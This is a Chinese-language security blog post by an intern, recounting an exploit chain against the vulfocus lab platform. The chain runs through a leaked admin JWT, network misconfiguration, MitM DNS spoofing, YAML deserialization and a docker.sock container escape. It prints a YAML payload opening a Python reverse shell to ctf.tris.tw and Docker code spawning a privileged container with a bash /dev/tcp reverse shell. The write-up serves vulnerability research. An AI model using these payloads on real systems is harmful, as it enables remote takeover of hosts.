叫你打靶機平台不是叫你把整個平台打下來,記錄針對 vulfocus 的一次滲透

最近接觸到一個對岸的開源靶機平台 vulfocusvulfocus 整合了 dockerdocker compose ,讓架設者能夠一鍵部署漏洞題目,並且在 container 中自帶 Flag 。

事情的開端是我在這個專案的 issue 中看到了一個 JWT token leak,並且可以拿到 admin 的權限,欸既然拿到 admin 權限了又是靶機平台,甚至可以自訂 docker-compose.yml ,應該可以馬上 RCE 吧?我一開始是這樣想的,但結果比我想像的還要複雜很多。

有 docker compose 為什麼還是沒辦法 RCE 呢

導入靶機介面提供了三種導入方式

  1. 添加
  2. 本地導入
  3. Compose 編譯

添加功能可以讓你上傳或是提供網址 pull image 進來,本地導入讓管理者可以直接透過本機裡面已經有的 image 一鍵建立漏洞題目,而 Compose 編譯則能自己撰寫靶機的 docker-compose.yml

既然靶機是 docker 管理的,不免讓人馬上聯想到 docker escape 。我都有 docker-compose.yml 了直接寫一個 privileged: true 不就完事了。

恭喜, docker compose 的功能根本就是壞的,因為他把 yaml parse 之後直接塞進去 json.load ,但是 json.loads 只能塞字串

Vulfocus API 的架構

在亂翻功能時,我發現「本地導入」頁面有一個 vulfocus-api 的 container

正常來講這種靶機平台應該是包兩層 docker 避免 challenge 影響到其他的 Container,不過看了一下 source code 發現全部的 challenge container 都是透過 host 的 docker api 直接新增,也就是說這些 challenge 被散落在宿主機上,僅透過 network 隔離。

既然 vulfocus-api 是一個 container 並且可以操作 host 的 docker,那我們有沒有辦法透過「本地導入」把這個 container 加進來,這樣我不就有宿主機的 docker.sock 了嗎?

恭喜,又不能,因為「本地導入」只會複製 container 的 image 和 docker-comopse.yml 的 expose port,其他欄位都會被丟掉,包括被掛進來的 docker.sock

YAML 反序列化漏洞

api 中有許多地方用到了 yaml 來儲存和載入資料,而有些地方用了不安全的 yaml.Loader,雖然如此但這些 yaml.Loader 的內容都是我們(理論上)無法直接控制的,有的是透過 yaml.dump 後 load 進來,有的是透過官網下載官方編排場景 load 進來

1
2
raw_data = yaml.dump(req)
raw_data = yaml.load(raw_data, Loader=yaml.Loader)
1
2
3
4
5
url = "http://vulfocus.io/api/layoutinfodet?layout_id={}".format(id)
res = requests.get(url, verify=False).content
req = json.loads(res)
raw_data = req['data']['layout_raw_content']
raw_data = yaml.load(raw_data, Loader=yaml.Loader)

那為什麼是「理論上」呢?因為我只要把他們的官網打下來就變成可控的了
當然不是,作為好駭客(的朋友)我們不能在未經授權的情況下攻擊別人的網站,因此我們將進到本文的重點:如何在不打下官網的狀況下控制 raw_data

題外話:目前 vulfocus.io 這個 domain 已經被越南的壞駭客打下來了

MitM + YAML Deserialization + Docker Escape

Vulfocus 的場景功能

在開始之前,我們需要介紹另一個 Vulfocus framework 的 feature —— 場景功能

簡而言之,場景功能可以將多個 container 和網路環境整合成一個題目,前面提到 challenge 由不同網卡將彼此做隔離,而 layout 功能則是將多個 container 放在同一個網路環境,讓彼此可以互通,因此出題者可以構建比如 SSRF、題目再加一層 WAF 之類的場景。

亂搞網卡

既然可以亂搞網路環境,那我們有沒有可能將某個 container 掛到和 vulfocus-api 的相同物理網路之中呢?
在新增網卡的頁面中,雖然 vulfocus 本身沒有對新增的網卡做任何限制,但是這些資料到了 docker api 就會爆炸,因為沒辦法新增相同名稱或子網重疊的 network


在一番嘗試後,新增場景的網卡邏輯引起了我的注意:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#run_layout
# 启动网卡
raw_con = json.loads(layout_info.raw_content)
network_list = client.networks.list()
net_list = []
network_names = [item['attrs']['name'] for item in raw_con['nodes'] if item['name'] == "Network"]
for i in network_list:
net_list.append(i.attrs['Name'])
for network_name in network_names:
if network_name in net_list:
pass
else:
try:
#從儲存的網卡中找出該場景的網卡
network_det = NetWorkInfo.objects.filter(net_work_name=network_name).first()
'''其他設定...以下省略'''

except Exception as e:
return JsonResponse(R.build(msg=str(e)))

也就是說,程式會先看 docker network 裡面有沒有該場景的網卡名稱,如果有就會用它把 container 跑起來,沒有的話才會去 NetWorkInfo 中找儲存的網卡,所以,我們可以在新增場景時,直接設定不存在於 vulfocus 但存在於 docker 中的 network,也就是 vulfocus-api 使用的網路環境 vulfocus_vulfocus

至於為什麼是 vulfocus_vulfocus 呢?因為官方提供的 GitHub repo 中,docker-compose.yml 便是 vulfocus ,而 docker network 命名的邏輯為 folderName_networkName 因此如果使用官方的 repo ,網卡名稱便會是 vulfocus_vulfocus

MitM

到目前為止,我們已經成功連接到 vulfocus-api 的物理網路,因此,我們只需要對他做 MitM ,http://vulfocus.io 回傳的結果便是我們可控的了

將 vulfocus-api 與 gateway 做中間人攻擊後,我們便可以偷偷換掉 vulfocus.io 的 dns 結果


觸發更新的 api,此時程式按照預定邏輯到 vulfocus.io 下載更新,但因為 dns 查詢結果已經被我們篡改,因此會下載到錯誤的 yaml

1
2
3
4
5
{
"data":{
"layout_raw_content":"!!python/object/apply:os.system\n- |\n python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\"ctf.tris.tw\",8080));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"bash\")'\n"
}
}

至此,我們成功 compromise 了 vulfocus-api

Docker Escape

拿到 vulfocus-api 的 shell 後,要做 docker escape 就很簡單了,因為 vulfocus-api 已經將宿主的 docker.sock 給 mount 進來了,我們只要用他創一個 privileged container 就可以了:

1
2
3
4
5
6
import docker
client = docker.DockerClient(base_url='unix://var/run/docker.sock')
client.images.pull("debian")
container = client.containers.create(image="debian",command="/bin/bash",name="pwned",stdin_open=True,tty=True,privileged=True)
container.start()
container.exec_run("bash -i 5<> /dev/tcp/ctf.tris.tw/8081 0<&5 1>&5 2>&5")

成功拿到宿主機的 shell

後記

這個專案是在 DEVCORE 實習時接觸到的,整個過程其實蠻 tricky 的,也是第一次打 web 打到需要用到 MitM Attack,算是一個特別的經驗,整個過程大概花了兩個禮拜(主要是因為大部分的程式碼都很 spaghetti 的),我覺得最大的收穫就是翻 code 的能力變強了 ( ̄▽ ̄)

本次經驗也同步在期末的實習生發表同步分享,感謝導師 Mico 讓我花兩個禮拜在平台上面亂搞一通。

叫你打靶機平台不是叫你把整個平台打下來,記錄針對 vulfocus 的一次滲透

https://trianglesnake.com/2025/06/22/叫你打靶機平台不是叫你把整個平台打下來!記錄針對-vulfocus-的一次滲透/

作者

TriangleSnake

發表於

2025-06-22

更新於

2025-07-24

許可協議

評論